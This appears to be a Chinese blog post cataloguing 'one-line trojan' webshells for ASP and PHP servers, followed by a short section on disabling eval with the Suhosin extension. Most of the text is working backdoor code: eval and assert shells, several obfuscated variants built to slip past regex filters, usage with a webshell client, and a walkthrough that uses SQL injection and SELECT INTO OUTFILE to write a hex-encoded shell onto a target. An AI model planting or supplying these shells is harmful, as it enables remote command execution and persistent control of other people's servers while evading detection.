常見的一句話muma

                         

一句話******原理

<%execute request(“#”)%>是典型的一句話***服務端代碼,將這個代碼寫入asp文件,就成了一句話***服務端文件。

仔細觀察一下<%execute request(“#”)%>這句代碼,括號裏的“#”是我們一句話的密碼,我們可以把它改成任意字符,這樣可以避免別人發現我們的一句話***後,輕鬆的通過它撿個大便宜,如果我們上傳的一句話代碼爲<%execute request(“123456″)%>。那麼在客戶端連接文件裏要將textarea name=”#”將其改爲對應的textarea name=“123456”,才能連接成功。

一句話***工作的原理:

將一句話***插入到asp文件中(包括asa.cdx.cer文件),該語句將會作爲觸發,接收***者通過客戶端提交的數據,執行並完成相應的***操作。

客戶端則用來向服務端提交控制數據,提交的數據通過服務端構成完整的asp功能語句並執行,也就是生成我們所需要的asp***文件。

一句話***能連接成功有兩個前提條件:

一、服務器端沒有禁止Adodb.Stream組件,因爲我們使用一句話***寫入WebShell代碼的條件是服務器端創建Adodb.Stream組件,如果該組件被禁用的話無法寫入。

二、權限問題,如果當前的虛擬目錄禁止user組或者everyone寫入,同樣不會成功。

如何啓用一句話***攔截功能?

(1)在服務器 wzxStopKeyWord.ini 文件中,設置 blockmuma = 1 表示啓用此功能,攔截一句話***。

(2)重啓IIS即可生效。

 

.eval

eval用法:

eval() 函數把字符串按照 PHP 代碼來計算。

該字符串必須是合法的 PHP 代碼,且必須以分號結尾。

如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false

1 <?phpeval($_POST[password]);?>

.assert

Assert用法:

assert這個函數在php語言中是用來判斷一個表達式是否成立。返回true or false;

這跟eval()類似。不過eval($code_str)只是執行符合php編碼規範的,assert的用法卻更詳細一點 。

assert_option()可以用來對assert()進行一些約束和控制

默認值:

1 2 3 4 5 ASSERT_ACTIVE=1//Assert函數的開關 ASSERT_WARNING=1//當表達式爲false時,是否要輸出警告性的錯誤提示,issue a PHP warning for each failed assertion ASSERT_BAIL=0//是否要中止運行;terminate execution on failed assertions ASSERT_QUIET_EVAL=0//是否關閉錯誤提示,在執行表達式時;disable error_reporting during assertion expression evaluation ASSERT_CALLBACK=(NULL)// 是否啓動回調函數 user function to call on failed assertions

可以通過以上方法修改assert後門,達到繞過正則:

1 <?phpassert($_POST[password]);?>

.變形一句話:

1 <?php$_GET['xxoo']($_POST['cmd']);?>

客戶端用菜刀,密碼cmdurltest.php?xxoo=assert

1 <?php$_POST['xxoo']($_POST['cmd']);?>

這個是直接發post數據包就OK

1 2 3 4 5 6 7 <?php $a=“a”.”s”.”s”.”e”.”r”.”t”; $a($_POST["cmd"]); ?>

1 <?php($_=@$_GET[password]).@$_($_POST[xxoo])?>

利用方法:http://localhost/password.php?password=asstrt

原理就是get傳遞參數assert然後形成@asserT@($_($_POST[xxoo])

1 <?php$_POST['password']($_POST['cmd']);?

提交post內容形成assert,eval

.通過str_replace替換

$a = str_replace(x,””,”axsxxsxexrxxt”)

最後要形成的是$a = assert

.

1 2 3 <?php @preg_replace(“/[email]/e”,$_POST['h'],”error”); ?>

談談這個後門吧,這個是用e修飾符,只需要e所在的位置跟最後的”error”正則匹配正確就會$_POST[‘h’]的內容。

那麼我們只需要用菜刀<O>h=@assert($_POST[c]);</O>就可以,讓h參數執行。

.

1 2 3 4 5 6 7 <?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php${'_'.$_}['_'](${'_'.$_}['__']);?>

菜刀裏寫:http://localhost/2.php?_=assert&__=eval($_POST[‘xxoo’])

密碼:xxoo

原理分析你只需要讓$_拼接打印即可。

.

1 2 3 <?php ($b4dboy=$_POST['1'])&&@preg_replace(‘/ad/e,,'@,.str_rot13(‘riny,).,($b4dboy)','add'); ?>

‘@’.str_rot13(‘riny’)相當於@eval,然後你懂的。

其實大都數原理都是如此,加了變形,解析後依然是原裝語句eval,assert

 

在這裏順便講一下SQL注入中寫一句話拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 這個語句,下面是一個語句的例子:

SELECT * INTO OUTFILE 'C:\log1.txt'

  這樣就可以把查詢到的數據寫入到C盤的log1.txt這個文件裏面。利用這個原理我們可以把PHP的一句話***寫到磁盤上從而拿到webshell

  本地的目標站點來實戰一下,我們的目的是在目標的物理路徑D:/WWW/下面生成一個php文件,從而可以使我們用菜刀連接上去

先簡單的判斷是否存在注入漏洞利用, 使用單引號'報錯, 然後是and 1=1 頁面正常 和 and 1=2 頁面不正常判斷存在sql注入漏洞,現在猜測一下字段數量。

  order by 3的時候會出現錯誤,2的時候正確於是猜測字段2,現在我們通過union查詢語句查詢一下當前的用戶是誰。

猜測可能是file權限,試試寫一下***到網站路徑,***一定要寫16進制。下面我們的一句話是 <?php eval($_POST[ximo]); ?>16進制

然後菜刀連接即可成功(如有不懂可以聯繫本人,本人將會將最詳細的指導你,僅限妹子)

 

 

eval函數簡介與PHP一句話***剖析

一:eval函數

1.eval() 函數把字符串按照 PHP 代碼來計算。

2.該字符串必須是合法的 PHP 代碼,且必須以分號結尾。

3.如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false

 

二:eval函數的一般用法

<?php

$string = "beautiful";

$time = "winter";

$str = 'This is a $string $time morning!';

echo $str. "<br />";

eval("\$str = \"$str\";");

echo $str;

?>

輸出

This is a $string $time morning!

This is a beautiful winter morning!

三:eval函數的特殊用法

eval($_GET["cmd"]);

四:php一句話掛馬的原理

 

1.通過數據庫寫馬:

select "<?php eval($_GET['cmd'])'?>" into outfile "D:\\phpStudy\\WWW\\bb.php",不過這個命令是DBweb在同一臺機器的時候可以這樣執行

2.通過web寫馬

<?php

eval($_GET["cmd"]);

?>

訪問:

http://localhost/aa.php?cmd=fwrite(fopen("aa.txt", "w"),"hello,world!");

查看phpshell信息:

http://localhost/aa.php?cmd=phpinfo();

查看當前運行的服務

http://localhost/aa.php?cmd=system("net start");

五:禁用eval函數

無論是linux服務器還是windows服務器,eval命令是非常危險的

如何禁用eval命令

php.ini中這樣設置disable_functions =eval是無法禁用eval的,根據php手冊說明,eval是一個語言構造器而不是一個函數。如果要禁用eval,則需要第三方擴展,使用Suhosin

 

linux下安裝:

 

php的安裝就不寫了

 

suhosin的安裝

 

wget http://download.suhosin.org/suhosin-0.9.23.tgz

 

tar zxvf suhosin-0.9.23.tgz

 

cd suhosin-0.9.23

 

/usr/local/php/bin/phpize //這一步不能省

 

./configure --with-php-config=/usr/local/php/bin/php-config //必須在這兒註明php-config所在的絕對路徑。

 

make && make install

 

Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/

 

然後在php.ini中增加一行下列語句。

 

extension=suhosin.so

 

suhosin.executor.disable_eval = on

像以上的一句話***都是比較常見的類型,希望各位補充,也方便大家互相學習互相進步,共同在網絡上實現自己的夢想


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章